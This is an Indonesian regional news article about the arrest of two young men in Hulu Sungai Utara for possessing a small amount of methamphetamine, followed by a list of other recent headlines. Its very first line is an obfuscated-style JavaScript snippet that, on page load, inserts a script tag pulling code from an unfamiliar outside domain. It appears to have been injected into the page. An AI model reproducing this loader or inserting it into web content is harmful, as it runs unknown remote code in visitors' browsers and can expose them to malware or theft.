(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Belum Sempat Sedot Asap Kristal Haram, Remaja Ini Keburu Ditangkap


AMUNTAI, Dua remaja ini, Pani (18) dan Junaidi (19) belum sempat menikmati narkotika jenis sabu yang dibelinya, eh..keburu didicuk polisi.

Kedua remaja yang diketahui merupakan warga Desa Teluk Labak  RT 04 Kecamatan Daha Utara, Kabupaten Hulu Sungai Selatan (HSS) ini, tak berkutik ketika keduanya tertangkap tangan menyimpan sabu.

Kasat Resnarkoba Polres HSU Iptu Taufik Suhardiman, kepada kanalkalimantan.com, Kamis (10/10) membenarkan penangkapan kedua pemuda ini melalui anggota Polsek Babirik.

Dari informasi, penangkapan kedua tersangka ini terjadi pada hari Rabu tanggal (9/10) petang sekitar pukul 17.35 Wita di sebuah gang  Desa Babirik Hilir, Kecamatan Babirik, Kabupaten Hulu Sungai Utara.

Anggota Polsek Babirik yang menerima laporan warga mengintai gerak gerik tersangka dan langsung  melakukan penangkapan terhadap kedua pelaku.

Dalam penangkapan tersebut ditemukan barang bukti berupa 2  paket plastik yang di dalamnya berisi 0,21 gram, ditambah dengan 1  buah handphone  dan 1  unit sepeda motor Yamaha Mio Soul GT  sebagai barang bukti.

Kepada polisi kedua tersangka mengaku barang haram tersebut rencananya akan dikonsumsi sendiri.

“Mereka mau memakai sendiri, saat ini masih dalam interogasi, adapun sabu tersebut mereka pesan via telpon dan saat ini masih dikembangkan,” jelas Iptu Taufik Suhardiman.

Usai dilakukan penangkapan selanjutnya kedua tersangka dan barang bukti digiring ke Polsek Babirik guna proses lebih lanjut.

Kedua tersangka Sendiri bakal dijerat pasal 114 ayat (1) dan atau Pasal 112 ayat (1) UU nomor 35 tahun 2009 tentang Narkotika, terkait dalam hal perbuatan menawarkan untuk dijual, menjual, membeli, menjadi perantara dalam jual beli, menukar,menawarkan atau menerima narkotika golongan I dalam bentuk bukan tanaman  dan atau Dalam hal perbuatan memiliki, menyimpan, menguasai atau menyediakan narkotika golongan I bukan tanaman. (dew)

Reporter : Dew
Editor : Bie


Desy Arfianty

Recent Posts

DPRD Kalsel Usulkan Pengangkatan Muhidin Jadi Gubernur

KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More

15 menit ago

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

12 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

13 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

13 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

17 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

17 jam ago

This website uses cookies.